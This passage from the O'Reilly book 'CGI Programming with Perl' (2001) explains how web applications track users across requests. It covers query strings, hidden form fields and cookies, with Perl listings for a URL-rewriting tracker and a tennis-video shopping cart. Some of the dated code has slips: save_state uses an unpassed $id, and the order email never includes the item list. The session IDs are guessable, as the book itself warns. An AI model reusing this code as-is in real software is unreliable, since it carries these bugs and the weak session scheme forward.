  print "Enter Criteria To Query On In The Form Below.<P>\nYou will then be
  able to choose entries to delete from the resulting list.\n"
}

my $address_table = getAddressTableHTML(  );
print qq`
<HR>
<P>

$address_table
`;

if ($operation eq "ADD") {
      print qq`
      <P>
      <INPUT TYPE="submit" NAME="submit_add"
      VALUE="Add This New Address"><P>
      `;
} elsif ($operation eq "UPDATE") {
      print qq`      <INPUT TYPE="checkbox" NAME="exactsearch">
      <STRONG>Perform Exact Search</STRONG>
      <P>
      <INPUT TYPE="submit" NAME="submit_query_for_update"
      VALUE="Query For Modification">
      <P>
      `;
} else {
      print qq`
      <INPUT TYPE="checkbox" NAME="exactsearch">
      <STRONG>Perform Exact Search</STRONG>
      <P>
      <INPUT TYPE="submit" NAME="submit_query_for_delete"
      VALUE="Query For List To Delete">
      <P>
      `;
}

# print the HTML footer.

print qq`
<INPUT TYPE="reset" VALUE="Clear Form">
</FORM>
</BODY></HTML>
`;

} # end of displayNewUpdateDeleteScreen
sub displayErrorMessage {
  my $cgi = shift;
  my $error_message = shift;

  print $cgi->header(  );

  print qq`
<HTML>
<HEAD><TITLE>Error Message</TITLE></HEAD>
<BODY BGCOLOR="WHITE">
<H1>Error Occurred</H1>
<HR>
$error_message
<HR>
</BODY>
</HTML>
`;

} # end of displayErrorMessage

sub getAddressTableHTML {

return qq`
<TABLE>
<TR>
  <TD ALIGN="RIGHT">First Name:</TD>
  <TD><INPUT TYPE="text" NAME="fname"></TD>
</TR>
<TR>
  <TD ALIGN="RIGHT">Last Name:</TD>
  <TD><INPUT TYPE="text" NAME="lname"></TD>
</TR>
<TR>
  <TD ALIGN="RIGHT">Phone:</TD>
  <TD><INPUT TYPE="text" NAME="phone"></TD>
</TR>
<TR>
  <TD ALIGN="RIGHT">Department:</TD>
  <TD><INPUT TYPE="text" NAME="dept"></TD>
</TR>
<TR>
  <TD ALIGN="RIGHT">Location:</TD>
  <TD><INPUT TYPE="text" NAME="location"></TD>
</TR>
</TABLE>
`;

} # end of getAddressTableHTML

You probably noticed that the style of this CGI script is different from other examples in this book. We have already seen scripts that use CGI.pm, Embperl, and HTML::Template. This script uses quoted HTML; you can compare it against other examples to help you choose the style that you prefer.

Likewise, this CGI script is one long file. The advantage is that all of the logic is present within this file. The disadvantage is that it can be difficult to read through such a long listing. We'll discuss the pros and cons of unifying applications versus breaking them into components in Chapter 16, "Guidelines for Better CGI Applications".

Previous | Home | Next
10.3. Introduction to SQL | Book Index | 11. Maintaining State
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Maintaining State (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 11. Maintaining State

Contents:

Query Strings and Extra Path Information
Hidden Fields
Client-Side Cookies

HTTP is a stateless protocol. As we discussed in Chapter 2, "The Hypertext Transport Protocol ", the HTTP protocol defines how web clients and servers communicate with each other to provide documents and resources to the user. Unfortunately, as we noted in our discussion of HTTP (see Section 2.5.1, "Identifying Clients"), HTTP does not provide a direct way of identifying clients in order to keep track of them across multiple page requests. There are ways to track users through indirect methods, however, and we'll explore these methods in this chapter. Web developers refer to the practice of tracking users as maintaining state . The series of interactions that a particular user has with our site is a session . The information that we collect for a user is session information.

Why would we want to maintain state? If you value privacy, the idea of tracking users may raise concerns. It is true that tracking users can be used for questionable purposes. However, there are legitimate instances when you must track users. Take an online store: in order to allow a customer to browse products, add some to a shopping cart, and then check out by purchasing the selected items, the server must maintain a separate shopping cart for each user. In this case, collecting selected items in a user's session information is not only acceptable, but expected.

Before we discuss methods for maintaining state, let's briefly review what we learned earlier about the HTTP transaction model. This will provide a context to understand the options we present later. Each and every HTTP transaction follows the same general format: a request from a client followed by a response from the server. Each of these is divided into a request/response line, header lines, and possibly some message content. For example, if you open your favorite browser and type in the URL:

http://www.oreilly.com/catalog/cgi2/index.html

Your browser then connects to www.oreilly.com on port 80 (the default port for HTTP) and issues a request for /catalog/cgi2/index.html. On the server side, because the web server is bound to port 80, it answers any requests that are issued through that port. Here is how the request would look from a browser supporting HTTP 1.0:

GET /index.html HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
User-Agent: Mozilla/4.5 (Macintosh; I; PPC)

The browser uses the GET request method to ask for the document, specifies the HTTP protocol to use, and supplies a number of headers to pass information about itself and the format of the content it will accept. Because the request is sent via GET and not POST, the browser is not passing any content to the server.

Here is how the server would respond to the request:

HTTP/1.0 200 OK
Date: Sat, 18 Mar 2000 20:35:35 GMT
Server: Apache/1.3.9 (Unix)
Last-Modified: Wed, 20 May 1998 14:59:42 GMT
Content-Length: 141
Content-Type: text/html

(content)
...

In Version 1.0 of HTTP, the server returns the requested document and then closes the connection. Yes, that's right: the server doesn't keep the connection open between itself and the browser. So, if you were to click on a link on the returned page, the browser then issues another request to the server, and so on. As a result, the server has no way of knowing that it's you that is requesting the successive document. This is what we mean by stateless , or nonpersistent; the server doesn't maintain or store any request-related information from one transaction to the next. You do know the network address of the client who is connecting to you, but as you'll recall from our earlier discussion of proxies (see Section 2.5, "Proxies"), multiple users may be making connections via the same proxy.

You may be waiting to hear what's changed in Version 1.1 of HTTP. In fact, a connection may remain open across multiple requests, although the request and response cycle is the same as above. However, you cannot rely on the network connection remaining open since the connection can be closed or lost for any number of reasons, and in any event CGI has not been modified to allow you access any information that would associate requests made across the same connection. So in HTTP 1.1 as in HTTP 1.0, the job of maintaining state falls to us.

Consider our shopping cart example: it should allow consumers to navigate through many pages and selectively place items in their carts. A consumer typically places an item in a cart by selecting a product, entering the desired quantity, and submitting the form. This action sends the data to the web server, which, in turn, invokes the requested CGI application. To the server, it's simply another request. So, it's up to the application to not only keep track of the data between multiple invocations, but also to identify the data as belonging to a particular consumer.

In order to maintain state, we must get the client to pass us some unique identifier with each request. As you can see from the HTTP request example earlier, there are only three different ways the client can pass information to us: via the request line, via a header line, or via the content (in the case of a POST request). Thus, in order to maintain state, we can have the client pass a unique identifier to us via any of these methods. In fact, the techniques we'll explore will cover all three of these ways:

Query strings and extra path information

It's possible to embed an identifier in the query string or as extra path information within a document's URL. As users traverse through a site, a CGI application generates documents on the fly, passing the identifier from document to document. This allows us to keep track of all the documents requested by each user, and in the order in which they were requested. The browser sends this information to us via the request line.

Hidden fields

Hidden form fields allow us to embed "invisible" name-value information within forms that the user cannot see without viewing the source of the HTML page. Like typical form fields and values, this information is sent to the CGI application when the user presses the submit button. We generally use this technique to maintain the user's selections and preferences when multiple forms are involved. We'll also look at how CGI.pm can do much of this work for us. The browser sends this information to us via the request line or via the message content depending on whether the request was GET or POST, respectively.

Client-side cookies

All modern browsers support client-side cookies, which allow us to store information on the client machine and have it pass it back to us with each request. We can use this to store semi-permanent data on the client-side, which will be available to us whenever the user requests future resources from the server. Cookies are sent back to us by the client in the Cookie HTTP header line.

The advantages and disadvantages of each technique are summarized in Table 11-1. We will review each technique separately, so if some of the points in the table are unclear you may want to refer back to this table after reading the sections below. In general, though, you should note that client-side cookies are the most powerful option for maintaining state, but they require something from the client. The other options work regardless of the client, but both have limits in the number of the pages that we can track the user across.

Table 11-1. Summary of the Techniques for Maintaining State

Technique | Scope | Reliability and Performance | Client Requirements
Query strings and extra path information | Can be configured to apply to a particular group of pages or an entire web site, but state information is lost if the user leaves the web site and later returns | Difficult to reliably parse all links in a document; significant performance cost to pass static content through CGI scripts | Does not require any special behavior from the client
Hidden fields | Only works across a series of form submissions | Easy to implement; does not affect performance | Does not require any special behavior from the client
Cookies | Works everywhere, even if the user visits another site and later returns | Easy to implement; does not affect performance | Requires that the client supports (and accepts) cookies

11.1. Query Strings and Extra Path Information

We've passed query information to CGI applications many times throughout this book. In this section, we'll use queries in a slightly less obvious manner, namely to track a user's browsing trail while traversing from one document to the next on the server.

In order to do this, we'll have a CGI script handle every request for a static HTML page. The CGI script will check whether the request URL contains an identifier matching our format. If it doesn't, the script assumes that this is a new user and generates a new identifier. The script then parses the requested HTML document by looking for links to other URLs within our web site and appending a unique identifier to each URL. Thus, the identifier will be passed on with future requests and propagated from document to document. Of course, if we want to track users across CGI applications then we'll also need to parse the output of these CGI scripts. The simplest way to accomplish both goals is to create a general module that handles reading the identifier and parsing the output. This way, we need to write our code only once and can have the script for our HTML pages as well as allow all our other CGI scripts share it.

As you may have guessed, this is not a very efficient process, since a request for each and every HTML document triggers a CGI application to be executed. Tools such as mod_perl and FastCGI, discussed in Chapter 17, "Efficiency and Optimization", help because both of these tools effectively embed the Perl interpreter into the web server.

Another strategy to help improve performance is to perform some processing in advance. If you are willing to preprocess your documents, you can reduce the amount of work that happens when the customer accesses the document. The majority of the work involved in parsing a document and replacing links is identifying the links. HTML::Parser is a good module, but the work it does is rather complex. If you parse the links and add a special keyword instead of one for a particular user, then later you can look for this keyword and not have to worry about recognizing links. For example, you could parse URLs and add #USERID# as the identifier for each document. The resulting code becomes much simpler. You can effectively handle documents this way:

sub parse {
    my( $filename, $id ) = @_;
    local *FH;
    open FH, $filename or die "Cannot open file: $!";

    while (<FH>) {
        s/#USERID#/$id/g;
        print;
    }
}

However, when a user traverses through a set of static HTML documents, CGI applications are typically not involved. If that's the case, how do we pass session information from one HTML document to the next, and be able to keep track of it on the server?

The answer to our problem is to configure the server such that when the user requests an HTML document, the server executes a CGI application. The application would then be responsible for transparently embedding special identifying information (such as a query string) into all the hyperlinks within the requested HTML document and returning the newly created content to the browser.

Let's look at how we're actually going to implement the application. It's only a two-step process. To reiterate, the problem we're trying to solve is to determine what documents a particular user requests and how much time he or she spends viewing them. First, we need to identify the set of documents for which we want to obtain the users' browsing history. Once we do that, we simply move these documents to a specific directory under the web server's document root directory.

Next, we need to configure the web server to execute a CGI application each and every time a user requests a document from this directory. We'll use the Apache web server for this example, but the configuration details are very similar for other web servers, as well.

We simply need to insert the following directives into Apache's access configuration file, access.conf:

<Directory /usr/local/apache/htdocs/store>
    AddType text/html   .html
    AddType Tracker     .html
    Action  Tracker     /cgi/track.cgi
</Directory>

When a user requests a document from the /usr/local/apache/htdocs/store directory, Apache executes the query_track application, passing to it the relative URL of the requested document as extra path information. Here's an example. When the user requests a document from the directory for the first time:

http://localhost/store/index.html

the web server will execute query_track, like so:

http://localhost/cgi/track.cgi/store/index.html

The application uses the PATH_TRANSLATED environment variable to get the full path of index.html. Then, it opens the file, creates a new identifier for the user, embeds it into each relative URL within the document, and returns the modified HTML stream to the browser. In addition, we log the transaction to a special log file, which you can use to analyze users' browsing habits at a later time.

If you're curious as to what a modified URL looks like, here's an example:

http://localhost/store/.CC7e2BMb_H6UdK9KfPtR1g/faq.html

The identifier is a modified Base64 MD5 message digest, computed using various pieces of information from the request. The code to generate it looks like this:

use Digest::MD5;

my $md5 = new Digest::MD5;
my $remote = $ENV{REMOTE_ADDR} . $ENV{REMOTE_PORT};
my $id = $md5->md5_base64( time, $$, $remote );
$id =~ tr|+/=|-_.|;  # Make non-word chars URL-friendly

This does a good job of generating a unique key for each request. However, it is not intended to create keys that cannot be cracked. If you are generating session identifiers that provide access to sensitive data, then you should use a more sophisticated method to generate an identifier.

If you use Apache, you do not have to generate a unique identifier yourself if you build Apache with the mod_unique_id module. It creates a unique identifier for each request, which is available to your CGI script as $ENV{UNIQUE_ID}. mod_unique_id is included in the Apache distribution but not compiled by default.

Let's look at how we could construct code to parse HTML documents and insert identifiers. Example 11-1 shows a Perl module that we use to parse the request URL and HTML output.

Example 11-1. CGIBook::UserTracker.pm

#!/usr/bin/perl -wT

#/----------------------------------------------------------------
# UserTracker Module
#
# Inherits from HTML::Parser
#
#

package CGIBook::UserTracker;

push @ISA, "HTML::Parser";

use strict;
use URI;
use HTML::Parser;

1;

#/----------------------------------------------------------------
# Public methods
#

sub new {
    my( $class, $path ) = @_;
    my $id;

    if ( $ENV{PATH_INFO} and
         $ENV{PATH_INFO} =~ s|^/\.([a-z0-9_.-]*)/|/|i ) {
        $id = $1;
    }
    else {
        $id ||= unique_id(  );
    }

    my $self = $class->SUPER::new(  );
    $self->{user_id}    = $id;
    $self->{base_path}  = defined( $path ) ? $path : "";

    return $self;
}

sub base_path {
    my( $self, $path ) = @_;
    $self->{base_path} = $path if defined $path;
    return $self->{base_path};
}

sub user_id {
    my $self = shift;
    return $self->{user_id};
}

#/----------------------------------------------------------------
# Internal (private) subs
#

sub unique_id {
    # Use Apache's mod_unique_id if available
    return $ENV{UNIQUE_ID} if exists $ENV{UNIQUE_ID};

    require Digest::MD5;

    my $md5 = new Digest::MD5;
    my $remote = $ENV{REMOTE_ADDR} . $ENV{REMOTE_PORT};

    # Note this is intended to be unique, and not unguessable
    # It should not be used for generating keys to sensitive data
    my $id = $md5->md5_base64( time, $$, $remote );
    $id =~ tr|+/=|-_.|;  # Make non-word chars URL-friendly
    return $id;
}

sub encode {
    my( $self, $url ) = @_;
    my $uri  = new URI( $url, "http" );
    my $id   = $self->user_id(  );
    my $base = $self->base_path;

    my $path = $uri->path;
    $path =~ s|^$base|$base/.$id| or
        die "Invalid base path configured\n";
    $uri->path( $path );

    return $uri->as_string;
}

#/----------------------------------------------------------------
# Subs to implement HTML::Parser callbacks
#

sub start {
    my( $self, $tag, $attr, $attrseq, $origtext ) = @_;
    my $new_text = $origtext;

    my %relevant_pairs = (
        frameset    => "src",
        a           => "href",
        area        => "href",
        form        => "action",
# Uncomment these lines if you want to track images too
#        img         => "src",
#        body        => "background",
    );

    while ( my( $rel_tag, $rel_attr ) = each %relevant_pairs ) {
        if ( $tag eq $rel_tag and $attr->{$rel_attr} ) {
            $attr->{$rel_attr} = $self->encode( $attr->{$rel_attr} );
            my @attribs = map { "$_=\"$attr->{$_}\"" } @$attrseq;
            $new_text = "<$tag @attribs>";
        }
    }

    # Meta refresh tags have a different format, handled separately
    if ( $tag eq "meta" and $attr->{"http-equiv"} eq "refresh" ) {
        my( $delay, $url ) = split ";URL=", $attr->{content}, 2;
        $attr->{content} = "$delay;URL=" . $self->encode( $url );
        my @attribs = map { "$_=\"$attr->{$_}\"" } @$attrseq;
        $new_text = "<$tag @attribs>";
    }

    print $new_text;
}

sub declaration {
    my( $self, $decl ) = @_;
    print $decl;
}

sub text {
    my( $self, $text ) = @_;
    print $text;
}

sub end {
    my( $self, $tag ) = @_;
    print "</$tag>";
}

sub comment {
    my( $self, $comment ) = @_;
    print "<!--$comment-->";
}

Example 11-2 shows the CGI application that we use to process static HTML pages.

Example 11-2. query_track.cgi

#!/usr/bin/perl -wT

use strict;
use CGIBook::UserTracker;

local *FILE;
my $track = new CGIBook::UserTracker;
$track->base_path( "/store" );

my $requested_doc = $ENV{PATH_TRANSLATED};
unless ( -e $requested_doc ) {
    print "Location: /errors/not_found.html\n\n";
}

open FILE, $requested_doc or die "Failed to open $requested_doc: $!";

my $doc = do {
    local $/ = undef;
    <FILE>;
};

close FILE;

# This assumes we're only tracking HTML files:
print "Content-type: text/html\n\n";
$track->parse( $doc );

Once we have inserted the identifier into all the URLs, we simply send the modified content to the standard output stream, along with the content header.

Now that we've looked at how to maintain state between views of multiple HTML documents, our next step is to discuss persistence when using multiple forms. An online store, for example, is typically broken into multiple pages. We need to able to identify users as they fill out each page. We'll look at techniques for solving such problems in the next section.

Previous | Home | Next
10.4. DBI | Book Index | 11.2. Hidden Fields
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Hidden Fields (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

11.2. Hidden Fields

Hidden form fields allow us to store "hidden" information within a form; these fields are not displayed by the browser. However, you can view the contents of the entire form, including the hidden fields, by viewing its HTML source, using the browser's " View Source" option. Therefore, hidden fields are not meant for security (since anyone can see them), but just for passing session information to and from forms transparently. See Chapter 4, "Forms and CGI", for more information on forms and hidden fields.

Just to refresh your memory, here's a snippet containing a hidden field that holds a session identifier:

<FORM ACTION="/cgi/program.cgi" METHOD="POST">
<INPUT TYPE="hidden" NAME  = "id"
                     VALUE = "e07a08c4612b0172a162386ca76d2b65">
.
.
</FORM>

When the user presses the submit button, the browser encodes the information within all the fields and then passes the information to the server, without differentiating the hidden fields in any manner.

Now that we know how hidden f ields work, let's use them to implement a very simple application that maintains state information between invocations of multiple forms. And what better example to illustrate hidden fields than a shopping cart application? See Figure 11-1.

Figure 11-1. The shoppe.cgi welcome page

The shopping cart application we'll discuss is rather primitive. We don't perform any database lookups for product information or prices. We don't accept credit card numbers or payment authorization. Our main goal in this section is to understand state maintenance.

How does our application work? A typical shopping cart application presents the user with several features, namely the ability to browse the catalog of products, to place products in the cart, to view the contents of the cart, and then finally to check out.

Our first goal is to create a unique session identifier, right from the very beginning. Thus, the user must start at a dynamic web page, not a static one. Our welcome page is this:

http://localhost/cgi/shoppe.cgi

In fact, this one CGI script handles all of the pages. It creates a session identifier for the user, appends it as a query string to each link, and inserts it as a hidden field to each form. Thus, the links that appear on the bottom of each page look like this:

shoppe.cgi?action=catalog&id=7d0d4a9f1392b9dd9c138b8ee12350a4
shoppe.cgi?action=cart&id=7d0d4a9f1392b9dd9c138b8ee12350a4
shoppe.cgi?action=checkout&id=7d0d4a9f1392b9dd9c138b8ee12350a4

The catalog page is shown in Figure 11-2.

Figure 11-2. The shoppe.cgi catalog page

Our script determines which page to display by looking at the value of the action parameter. Although users will typically move from the catalog to the cart to the checkout, they are free to move around. If you try to check out before you select any items, the system will ask you to go back and select items (but it will remember your checkout information when you return!).

Let's take a look at the code, shown in Example 11-3.

Example 11-3. shoppe.cgi

#!/usr/bin/perl -wT

use strict;

use CGI;
use CGIBook::Error;
use HTML::Template;

BEGIN {
    $ENV{PATH} = "/bin:/usr/bin";
    delete @ENV{ qw( IFS CDPATH ENV BASH_ENV ) };
    sub unindent;
}

use vars qw( $DATA_DIR $SENDMAIL $SALES_EMAIL $MAX_FILES );

local $DATA_DIR     = "/usr/local/apache/data/tennis";
local $SENDMAIL     = "/usr/lib/sendmail -t -n";
local $SALES_EMAIL  = 'sales@email.address.com';
local $MAX_FILES    = 1000;

my $q       = new CGI;
my $action  = $q->param("action") || 'start';
my $id      = get_id( $q );

if ( $action eq "start" ) {
    start( $q, $id );
}
elsif ( $action eq "catalog" ) {
    catalog( $q, $id );
}
elsif ( $action eq "cart" ) {
    cart( $q, $id );
}
elsif ( $action eq "checkout" ) {
    checkout( $q, $id );
}
elsif ( $action eq "thanks" ) {
    thanks( $q, $id );
}
else {
    start( $q, $id );
}

This script starts like most that we have seen. It calls the get_id function, which we will look at a little later; get_id returns the session identifier and loads any previously saved session information into the current CGI.pm object.

We then branch to an appropriate subroutine depending on the action requested. Here are the subroutines that handle these requests:

#/--------------------------------------------------------------------
# Page Handling subs
#

sub start {
    my( $q, $id ) = @_;

    print header( $q, "Welcome!" ),
          $q->p( "Welcome! You've arrived at the world famous Tennis Shoppe! ",
                 "Here, you can order videos of famous tennis matches from ",
                 "the ATP and WTA tour. Well, mate, are you are ready? ",
                 "Click on one of the links below:"
          ),
          footer( $q, $id );
}

sub catalog {
    my( $q, $id ) = @_;

    if ( $q->request_method eq "POST" ) {
        save_state( $q );
    }

    print header( $q, "Video Catalog" ),
          $q->start_form,
          $q->table(
              { -border       => 1,
                -cellspacing  => 1,
                -cellpadding  => 4,
              },
              $q->Tr( [
                  $q->th( { -bgcolor => "#CCCCCC" }, [
                      "Quantity",
                      "Video",
                      "Price"
                  ] ),
                  $q->td( [
                      $q->textfield(
                          -name   => "* Wimbledon 1980",
                          -size   => 2
                      ),
                      "Wimbledon 1980: John McEnroe vs. Bjorn Borg",
                      '$21.95'
                  ] ),
                  $q->td( [
                      $q->textfield(
                          -name   => "* French Open 1983",
                          -size   => 2
                      ),
                      "French Open 1983: Ivan Lendl vs. John McEnroe",
                      '$19.95'
                  ] ),
                  $q->td( { -colspan  => 3,
                            -align    => "right",
                            -bgcolor  => "#CCCCCC"
                          },
                          $q->submit( "Update" )
                  )
              ] ),
          ),
          $q->hidden(
              -name     => "id",
              -default  => $id,
              -override => 1
          ),
          $q->hidden(
              -name     => "action",
              -default  => "catalog",
              -override => 1
          ),
          $q->end_form,
          footer( $q, $id );
}

sub cart {
    my( $q, $id ) = @_;

    my @items     = get_items( $q );
    my @item_rows = @items ?
        map $q->td( $_ ), @items :
        $q->td( { -colspan => 2 }, "Your cart is empty" );

    print header( $q, "Your Shopping Cart" ),
          $q->table(
              { -border       => 1,
                -cellspacing  => 1,
                -cellpadding  => 4,
              },
              $q->Tr( [
                  $q->th( { -bgcolor=> "#CCCCCC" }, [
                      "Video Title",
                      "Quantity"
                  ] ),
                  @item_rows
              ] )
          ),
          footer( $q, $id );
}

sub checkout {
    my( $q, $id ) = @_;

    print header( $q, "Checkout" ),
          $q->start_form,
          $q->table(
              { -border       => 1,
                -cellspacing  => 1,
                -cellpadding  => 4
              },
              $q->Tr( [
                  map( $q->td( [
                          $_,
                          $q->textfield( lc $_ )
                       ] ), qw( Name Email Address City State Zip )
                  ),
                  $q->td( { -colspan  => 2,
                            -align    => "right",
                          },
                          $q->submit( "Checkout" )
                  )
              ] ),
          ),
          $q->hidden(
              -name     => "id",
              -default  => $id,
              -override => 1
          ),
          $q->hidden(
              -name     => "action",
              -default  => "thanks",
              -override => 1
          ),
          $q->end_form,
          footer( $q, $id );
}

sub thanks {
    my( $q, $id ) = @_;
    my @missing;
    my %customer;

    my @items = get_items( $q );

    unless ( @items ) {
        save_state( $q );
        error( $q, "Please select some items before checking out." );
    }

    foreach ( qw( name email address city state zip ) ) {
        $customer{$_} = $q->param( $_ ) || push @missing, $_;
    }

    if ( @missing ) {
        my $missing = join ", ", @missing;
        error( $q, "You left the following required fields blank: $missing" );
    }

    email_sales( \%customer, \@items );
    unlink cart_filename( $id ) or die "Cannot remove user's cart file: $!";

    print header( $q, "Thank You!" ),
          $q->p( "Thanks for shopping with us, $customer{name}. ",
                 "We will contactly you shortly!"
          ),
          $q->end_html;
}

Again, nothing here should be unfamiliar. Within our tables we make extensive use of the feature within CGI.pm that distributes tags around items if they are supplied as array references. We also include hidden fields in all of our forms for "id", which contains the session identifier.

Figure 11-3 shows the shopping cart page.

Figure 11-3. The shoppe.cgi shopping cart page

Now let's look at the functions that maintain the user's state for us:

#/--------------------------------------------------------------------
# State subs
#

sub get_id {
    my $q = shift;
    my $id;

    my $unsafe_id = $q->param( "id" ) || '';
    $unsafe_id =~ s/[^\dA-Fa-f]//g;

    if ( $unsafe_id =~ /^(.+)$/ ) {
        $id = $1;
        load_state( $q, $id );
    }
    else {
        $id = unique_id(  );
        $q->param( -name => "id", -value => $id );
    }

    return $id;
}

# Loads the current CGI object's default parameters from the saved state
sub load_state {
    my( $q, $id ) = @_;
    my $saved = get_state( $id ) or return;

    foreach ( $saved->param ) {
        $q->param( $_ => $saved->param($_) ) unless defined $q->param($_);
    }
}

# Reads a saved CGI object from disk and returns its params as a hash ref
sub get_state {
    my $id = shift;
    my $cart = cart_filename( $id );
    local *FILE;

    -e $cart or return;
    open FILE, $cart or die "Cannot open $cart: $!";
    my $q_saved = new CGI( \*FILE ) or
        error( $q, "Unable to restore saved state." );
    close FILE;

    return $q_saved;
}

# Saves the current CGI object to disk
sub save_state {
    my $q = shift;
    my $cart = cart_filename( $id );
    local( *FILE, *DIR );

    # Avoid DoS attacks by limiting the number of data files
    my $num_files = 0;
    opendir DIR, $DATA_DIR;
    $num_files++ while readdir DIR;
    closedir DIR;

    # Compare the file count against the max
    if ( $num_files > $MAX_FILES ) {
        error( $q, "We cannot save your request because the directory " .
                   "is full. Please try again later" );
    }

    # Save the current CGI object to disk
    open FILE, "> $cart" or return die "Cannot write to $cart: $!";
    $q->save( \*FILE );
    close FILE;
}

# Returns a list of item titles and quantities
sub get_items {
    my $q = shift;
    my @items;

    # Build a sorted list of movie titles and quantities
    foreach ( $q->param ) {
        my( $title, $quantity ) = ( $_, $q->param( $_ ) );

        # Skip "* " from beginning of movie titles; skip other keys
        $title =~ s/^\*\s+// or next;
        $quantity or next;

        push @items, [ $title, $quantity ];
    }
    return @items;
}

# Separated from other code in case this changes in the future
sub cart_filename {
    my $id = shift;
    return "$DATA_DIR/$id";
}

sub unique_id {
    # Use Apache's mod_unique_id if available
    return $ENV{UNIQUE_ID} if exists $ENV{UNIQUE_ID};

    require Digest::MD5;

    my $md5 = new Digest::MD5;
    my $remote = $ENV{REMOTE_ADDR} . $ENV{REMOTE_PORT};

    # Note this is intended to be unique, and not unguessable
    # It should not be used for generating keys to sensitive data
    my $id = $md5->md5_base64( time, $$, $remote );
    $id =~ tr|+/=|-_.|;  # Make non-word chars URL-friendly
    return $id;
}

The first function, get_id, checks whether the script received a parameter named "id"; this can be supplied in the query string or as a hidden field in a form submitted via POST. Because we later use this as a filename, we perform a couple of checks to make sure that the identifier is safe. Then we call load_state to retrieve any previously saved information. If it did not receive an identifier, then it generates a new one.

The load_state function calls get_state, which checks whether there is a file matching the user's identifier and creates a CGI.pm object from it if so. load_state then loops through the parameters in the saved CGI.pm, adding them to the current CGI.pm object. It skips any parameters that are already defined in the current CGI.pm object. Remember this was triggered by a call to get_id at the top of the script, so all of this is happening before any form processing has been done; if we overwrite any current parameters, we lose that information. By loading saved parameters into the current CGI.pm object, it allows CGI.pm to fill in these values as defaults in the forms. Thus, the catalog and checkout pages remember the information you previously entered until the order is submitted and the cart is deleted.

The save_state function is the complement of get_state. It takes a CGI.pm object and saves it to disk. It also counts the number of carts that are already in the data directory. One problem with this CGI script is that it allows someone to repeatedly visit the site with different identifiers and thus create multiple cart files. We do not want someone to fill up the available disk space, so we limit the number of carts. We could also assign $CGI::POST_MAX a low value at the start of the script if we wanted to be extra careful (refer to Section 5.1.1, "Denial of Service Attacks").

The get_items function is used by the cart function, above, and the send_email function, below. It loops over the parameters in a CGI.pm object, finds the ones beginning with an asterisk, and builds a list of these items along with their quantities.

The get_state, save_state, and thanks functions all interact with the cart file. The cart_filename function simply encapsulates the logic used to generate a filename.

Finally, the unique_id function is the same one we saw earlier in Example 11-1.

Our CGI script also uses a number of additional utility functions. Let's take a look at them:

#/--------------------------------------------------------------------
# Other helper subs
#

sub header {
    my( $q, $title ) = @_;

    return $q->header( "text/html" ) .
           $q->start_html(
               -title    => "The Tennis Shoppe: $title",
               -bgcolor  => "white"
           ) .
           $q->h2( $title ) .
           $q->hr;
}

sub footer {
    my( $q, $id ) = @_;
    my $url = $q->script_name;

    my $catalog_link =
       $q->a( { -href => "$url?action=catalog&id=$id" }, "View Catalog" );
    my $cart_link =
       $q->a( { -href => "$url?action=cart&id=$id" }, "Show Current Cart" );
    my $checkout_link =
       $q->a( { -href => "$url?action=checkout&id=$id" }, "Checkout" );

    return $q->hr .
           $q->p( "[ $catalog_link | $cart_link | $checkout_link ]" ) .
           $q->end_html;
}

sub email_sales {
    my( $customer, $items ) = @_;
    my $remote = $ENV{REMOTE_HOST} || $ENV{REMOTE_ADDR};
    local *MAIL;

    my @item_rows  = map sprintf( "%-50s     %4d", @$_ ), @$items;
    my $item_table = join "\n", @item_rows;

    open MAIL, "| $SENDMAIL" or
        die "Cannot create pipe to sendmail: $!";

    print MAIL unindent <<"    END_OF_MESSAGE";
        To: $SALES_EMAIL
        Reply-to: $customer->{email}
        Subject: New Order
        Mime-Version: 1.0
        Content-Type: text/plain; charset="us-ascii"
        X-Mailer: WWW to Mail Gateway
        X-Remote-Host: $remote

        Here is a new order from the web site.

        Name:       $customer->{name}
        Email:      $customer->{email}
        Address:    $customer->{address}
        City:       $customer->{city}
        State:      $customer->{state}
        Zip:        $customer->{zip}

        Title                                               Quantity
        -----                                               --------
    END_OF_MESSAGE

    close MAIL or die "Could not send message via sendmail: $!";
}

sub unindent {
    local $_ = shift;
    my( $indent ) = sort
                    map /^(\s*)\S/,
                    split /\n/;
    s/^$indent//gm;
    return $_;
}

The header and footer functions simply return HTML, and help us maintain a consistent header and footer across the pages. In this example header and footer are rather simple, but if we wanted to improve the look of our site, we could do a lot simply by modifying these two functions.

The checkout page is shown in Figure 11-4.

Figure 11-4. The shoppe.cgi checkout page

The send_email function sends a the completed order information to our sales folks. We use our unindent function from Chapter 5, "CGI.pm" so we can indent our email message in the code and still format it properly when we send it.

As we've seen in the last two sections, passing a session identifier from document to document can get a bit tedious. We either have to embed the information in an existing HTML file, or construct one containing the identifier entirely on the fly. In the next section, we'll look at client-side persistent cookies, where the browser allows us to store information on the client side. That way, we don't have to pass information from document to document.

Previous | Home | Next
11. Maintaining State | Book Index | 11.3. Client-Side Cookies
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Client-Side Cookies (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

11.3. Client-Side Cookies

As we mentioned, there are problems with both of the approaches for maintaining state discussed earlier. Most importantly, if users travel to other web sites and return, there is a good chance that their state information will be lost.

Cookies (originally called "magic cookies") were created by Netscape as a solution to this problem. Cookies allow the web server to ask the browser for small amounts of information on the client machine. Netscape's original proposal was adopted by most web browsers and has become the standard manner for handling cookies. RFC 2109, HTTP State Management Mechanism, which was coauthored by a representative of Netscape, proposed a new protocol for handling cookies. However, browsers have not adopted this new protocol so Netscape's original protocol continues to be the de facto standard.

When a user requests a document, a web server can provide the web browser with one or more cookies along with the documents. The browser adds the cookie to its cookie jar (so to speak) and can pass the cookie back to the server on subsequent requests. As a result, we can store simple information, such as a session identifier, on the client side and use it to reference more complex data we maintain on the server side.

Cookies are ideal for web document personalization. For example, when a user visits our server for the first time (a missing cookie indicates a first time user), we present the user with a form asking for specific preferences. We store these preferences as cookies, and so every subsequent time users visit our site, they will see documents that match their individual preferences only.

Cookies do have restrictions. First, clients do not always accept cookies. Some browsers did not support cookies (though these browsers are becoming less common), and many users disable cookies due to privacy concerns. We will look at how to test for cookies later in this section.

